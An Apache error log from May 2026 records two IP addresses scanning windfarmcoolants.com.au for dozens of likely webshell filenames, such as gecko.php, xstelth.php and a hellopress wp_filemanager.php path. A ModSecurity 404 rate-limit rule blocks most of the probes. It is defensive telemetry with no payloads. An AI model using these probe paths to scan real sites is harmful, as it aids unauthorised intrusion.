[Sat May 16 02:19:29.652778 2026] [:error] [pid 30208:tid 30232] [client 4.205.123.246:40972] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/simple.php"] [unique_id "agdjsZmLMCJujX-JTvhVLQAAAJY"]
[Sat May 16 02:19:31.147680 2026] [:error] [pid 9392:tid 9408] [client 4.205.123.246:39050] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/simple.php"] [unique_id "agdjs9BWJIjH1U9zGfYHmgAAAQ4"]
[Sat May 16 02:19:32.274431 2026] [:error] [pid 9305:tid 9356] [client 4.205.123.246:40682] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ayk.php"] [unique_id "agdjtN5FZyBmdCM8GsGlogAAAFI"]
[Sat May 16 02:19:33.225722 2026] [:error] [pid 59522:tid 59561] [client 4.205.123.246:40306] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ayk.php"] [unique_id "agdjtYKyKAkpeBAoLCZYUQAAA8Y"]
[Sat May 16 02:19:35.898571 2026] [:error] [pid 59311:tid 59322] [client 4.205.123.246:40291] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ayk.php"] [unique_id "agdjt7GBV7OkryAk5AOavQAAAoc"]
[Sat May 16 02:19:37.083327 2026] [:error] [pid 59522:tid 59573] [client 4.205.123.246:41238] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ayk.php"] [unique_id "agdjuYKyKAkpeBAoLCZYVgAAA9I"]
[Sat May 16 02:19:37.941445 2026] [:error] [pid 59522:tid 59557] [client 4.205.123.246:40299] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gecko.php"] [unique_id "agdjuYKyKAkpeBAoLCZYWAAAA8I"]
[Sat May 16 02:19:39.153896 2026] [:error] [pid 59522:tid 59555] [client 4.205.123.246:40929] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gecko.php"] [unique_id "agdju4KyKAkpeBAoLCZYWQAAA8A"]
[Sat May 16 02:19:41.109994 2026] [:error] [pid 30272:tid 30296] [client 4.205.123.246:41015] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gecko.php"] [unique_id "agdjvXvc_jSFaQ_7_wcxdwAAAZY"]
[Sat May 16 02:19:42.689725 2026] [:error] [pid 30272:tid 30295] [client 4.205.123.246:40991] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gecko.php"] [unique_id "agdjvnvc_jSFaQ_7_wcxeQAAAZU"]
[Sat May 16 02:19:43.937795 2026] [:error] [pid 59522:tid 59556] [client 4.205.123.246:39305] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wpxml.php"] [unique_id "agdjv4KyKAkpeBAoLCZYYAAAA8E"]
[Sat May 16 02:19:44.993697 2026] [:error] [pid 59517:tid 59539] [client 4.205.123.246:40664] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wpxml.php"] [unique_id "agdjwMWGuSBVizA7n2P3oAAAA4w"]
[Sat May 16 02:19:45.946673 2026] [:error] [pid 30272:tid 30277] [client 4.205.123.246:39326] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wpxml.php"] [unique_id "agdjwXvc_jSFaQ_7_wcxewAAAYM"]
[Sat May 16 02:19:46.642800 2026] [:error] [pid 59453:tid 59462] [client 4.205.123.246:39573] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wpxml.php"] [unique_id "agdjwnnXIIDivY9RkF0rDQAAA0M"]
[Sat May 16 02:19:48.940131 2026] [:error] [pid 9307:tid 9374] [client 4.205.123.246:41242] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zo.php"] [unique_id "agdjxCC43jY1IRzK5VZ0EgAAAMk"]
[Sat May 16 02:19:50.921637 2026] [:error] [pid 30208:tid 30220] [client 4.205.123.246:39538] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zo.php"] [unique_id "agdjxpmLMCJujX-JTvhVMAAAAIo"]
[Sat May 16 02:19:52.327224 2026] [:error] [pid 59453:tid 59486] [client 4.205.123.246:39527] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zo.php"] [unique_id "agdjyHnXIIDivY9RkF0rDgAAA1c"]
[Sat May 16 02:19:53.306419 2026] [:error] [pid 9307:tid 9384] [client 4.205.123.246:41262] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zo.php"] [unique_id "agdjySC43jY1IRzK5VZ0EwAAANM"]
[Sat May 16 02:19:54.736623 2026] [:error] [pid 30272:tid 30275] [client 4.205.123.246:41178] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sky.php"] [unique_id "agdjynvc_jSFaQ_7_wcxfQAAAYE"]
[Sat May 16 02:19:55.427514 2026] [:error] [pid 59517:tid 59534] [client 4.205.123.246:39515] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sky.php"] [unique_id "agdjy8WGuSBVizA7n2P3ogAAA4c"]
[Sat May 16 02:20:39.353528 2026] [:error] [pid 9305:tid 9359] [client 4.205.123.246:41707] File does not exist: /usr/local/apache/htdocs/suspended-page/ortasekerli1.php
[Sat May 16 02:20:39.592145 2026] [:error] [pid 9305:tid 9344] [client 4.205.123.246:41707] File does not exist: /usr/local/apache/htdocs/suspended-page/xstelth.php
[Sat May 16 02:20:39.801851 2026] [:error] [pid 9305:tid 9360] [client 4.205.123.246:41707] File does not exist: /usr/local/apache/htdocs/suspended-page/3369.php
[Sat May 16 02:25:05.503374 2026] [:error] [pid 59453:tid 59487] [client 4.228.104.117:3482] File does not exist: /usr/local/apache/htdocs/suspended-page/adminfuns.php
[Sat May 16 02:25:06.092287 2026] [:error] [pid 59453:tid 59473] [client 4.228.104.117:3482] File does not exist: /usr/local/apache/htdocs/suspended-page/sx_pms.php
[Sat May 16 02:25:06.446420 2026] [:error] [pid 59453:tid 59475] [client 4.228.104.117:3482] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-info.php
[Sat May 16 02:25:06.759362 2026] [:error] [pid 59453:tid 59472] [client 4.228.104.117:3482] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-test.php
[Sat May 16 02:25:07.072260 2026] [:error] [pid 59453:tid 59460] [client 4.228.104.117:3482] File does not exist: /usr/local/apache/htdocs/suspended-page/like.php
[Sat May 16 02:25:07.433052 2026] [:error] [pid 59453:tid 59481] [client 4.228.104.117:3482] File does not exist: /usr/local/apache/htdocs/suspended-page/we.php
[Sat May 16 02:25:07.744987 2026] [:error] [pid 59453:tid 59463] [client 4.228.104.117:3482] File does not exist: /usr/local/apache/htdocs/suspended-page/wp.php
[Sat May 16 02:25:08.072115 2026] [:error] [pid 59453:tid 59459] [client 4.228.104.117:3482] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-indx.php
[Sat May 16 02:25:08.391857 2026] [:error] [pid 59453:tid 59479] [client 4.228.104.117:3482] File does not exist: /usr/local/apache/htdocs/suspended-page/zoo.php
[Sat May 16 02:25:09.079488 2026] [:error] [pid 59453:tid 59486] [client 4.228.104.117:3482] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-link-spm.php
[Sat May 16 02:25:09.389142 2026] [:error] [pid 59453:tid 59462] [client 4.228.104.117:3482] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-link-snpm.php"] [unique_id "agdlBXnXIIDivY9RkF0rWwAAA0M"]
[Sat May 16 02:25:10.680401 2026] [:error] [pid 9305:tid 9343] [client 4.228.104.117:3505] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-link-snpm.php"] [unique_id "agdlBt5FZyBmdCM8GsGlxgAAAEU"]
[Sat May 16 02:25:11.699996 2026] [:error] [pid 30208:tid 30232] [client 4.228.104.117:4284] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-link-snpm.php"] [unique_id "agdlB5mLMCJujX-JTvhVhwAAAJY"]
[Sat May 16 02:25:12.457277 2026] [:error] [pid 59522:tid 59577] [client 4.228.104.117:3212] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-link-snpm.php"] [unique_id "agdlCIKyKAkpeBAoLCZZYwAAA9Y"]
[Sat May 16 02:25:13.249696 2026] [:error] [pid 30272:tid 30275] [client 4.228.104.117:3238] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xminie.php"] [unique_id "agdlCXvc_jSFaQ_7_wcyIQAAAYE"]
[Sat May 16 02:25:13.976798 2026] [:error] [pid 59202:tid 59220] [client 4.228.104.117:4256] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xminie.php"] [unique_id "agdlCUORbjeqf1CKQ2KEEAAAAgo"]
[Sat May 16 02:25:14.957225 2026] [:error] [pid 59522:tid 59560] [client 4.228.104.117:3264] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xminie.php"] [unique_id "agdlCoKyKAkpeBAoLCZZZgAAA8U"]
[Sat May 16 02:25:15.756120 2026] [:error] [pid 30208:tid 30227] [client 4.228.104.117:2002] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xminie.php"] [unique_id "agdlC5mLMCJujX-JTvhVigAAAJE"]
[Sat May 16 02:25:16.802073 2026] [:error] [pid 9392:tid 9413] [client 4.228.104.117:4046] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aaa.php"] [unique_id "agdlDNBWJIjH1U9zGfYHzQAAARM"]
[Sat May 16 02:25:17.671438 2026] [:error] [pid 59517:tid 59534] [client 4.228.104.117:1194] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aaa.php"] [unique_id "agdlDcWGuSBVizA7n2P36gAAA4c"]
[Sat May 16 02:25:18.394739 2026] [:error] [pid 9307:tid 9387] [client 4.228.104.117:4080] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aaa.php"] [unique_id "agdlDiC43jY1IRzK5VZ0XAAAANY"]
[Sat May 16 02:25:19.724634 2026] [:error] [pid 30208:tid 30234] [client 4.228.104.117:3290] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aaa.php"] [unique_id "agdlD5mLMCJujX-JTvhVjgAAAJg"]
[Sat May 16 02:25:20.902584 2026] [:error] [pid 59522:tid 59573] [client 4.228.104.117:1205] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bal.php"] [unique_id "agdlEIKyKAkpeBAoLCZZbAAAA9I"]
[Sat May 16 02:25:22.104818 2026] [:error] [pid 30208:tid 30226] [client 4.228.104.117:1178] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bal.php"] [unique_id "agdlEpmLMCJujX-JTvhVlQAAAJA"]
[Sat May 16 02:25:22.895927 2026] [:error] [pid 30208:tid 30231] [client 4.228.104.117:4056] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bal.php"] [unique_id "agdlEpmLMCJujX-JTvhVmAAAAJU"]
[Sat May 16 02:25:24.037140 2026] [:error] [pid 59311:tid 59324] [client 4.228.104.117:3507] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bal.php"] [unique_id "agdlFLGBV7OkryAk5AOa1wAAAok"]
[Sat May 16 02:25:25.069769 2026] [:error] [pid 30208:tid 30220] [client 4.228.104.117:4257] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws81.php"] [unique_id "agdlFZmLMCJujX-JTvhVnwAAAIo"]
[Sat May 16 02:25:25.927926 2026] [:error] [pid 30208:tid 30234] [client 4.228.104.117:3508] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws81.php"] [unique_id "agdlFZmLMCJujX-JTvhVowAAAJg"]
[Sat May 16 02:25:27.108041 2026] [:error] [pid 59522:tid 59579] [client 4.228.104.117:3243] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws81.php"] [unique_id "agdlF4KyKAkpeBAoLCZZcAAAA9g"]
[Sat May 16 02:25:28.691168 2026] [:error] [pid 9392:tid 9407] [client 4.228.104.117:1181] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws81.php"] [unique_id "agdlGNBWJIjH1U9zGfYHzgAAAQ0"]
[Sat May 16 02:25:29.507453 2026] [:error] [pid 59311:tid 59335] [client 4.228.104.117:3518] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/drykl.php"] [unique_id "agdlGbGBV7OkryAk5AOa2AAAApQ"]
[Sat May 16 02:25:30.590009 2026] [:error] [pid 59517:tid 59537] [client 4.228.104.117:4282] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/drykl.php"] [unique_id "agdlGsWGuSBVizA7n2P36wAAA4o"]
[Sat May 16 02:25:31.635665 2026] [:error] [pid 59453:tid 59477] [client 4.228.104.117:1263] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/drykl.php"] [unique_id "agdlG3nXIIDivY9RkF0rXAAAA04"]
[Sat May 16 02:25:32.590389 2026] [:error] [pid 59522:tid 59576] [client 4.228.104.117:4053] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/drykl.php"] [unique_id "agdlHIKyKAkpeBAoLCZZcQAAA9U"]
[Sat May 16 02:25:33.329165 2026] [:error] [pid 9392:tid 9412] [client 4.228.104.117:2047] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php"] [unique_id "agdlHdBWJIjH1U9zGfYH0AAAARI"]
[Sat May 16 02:25:34.062095 2026] [:error] [pid 30272:tid 30289] [client 4.228.104.117:4226] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php"] [unique_id "agdlHnvc_jSFaQ_7_wcyIgAAAY8"]
[Sat May 16 02:25:34.794779 2026] [:error] [pid 30272:tid 30279] [client 4.228.104.117:1170] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php"] [unique_id "agdlHnvc_jSFaQ_7_wcyJAAAAYU"]
[Sat May 16 02:25:35.222688 2026] [:error] [pid 59517:tid 59528] [client 4.228.104.117:2035] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "agdlH8WGuSBVizA7n2P37QAAA4E"]
[Sat May 16 02:25:35.539109 2026] [:error] [pid 59453:tid 59474] [client 4.228.104.117:4036] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php"] [unique_id "agdlH3nXIIDivY9RkF0rXwAAA0w"]
[Sat May 16 02:25:36.003945 2026] [:error] [pid 59522:tid 59568] [client 4.228.104.117:1197] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "agdlIIKyKAkpeBAoLCZZcgAAA80"]
[Sat May 16 02:25:36.360927 2026] [:error] [pid 59522:tid 59571] [client 4.228.104.117:1276] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/11.php"] [unique_id "agdlIIKyKAkpeBAoLCZZdAAAA9A"]
[Sat May 16 02:25:36.777712 2026] [:error] [pid 9305:tid 9353] [client 4.228.104.117:4071] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "agdlIN5FZyBmdCM8GsGlyAAAAE8"]
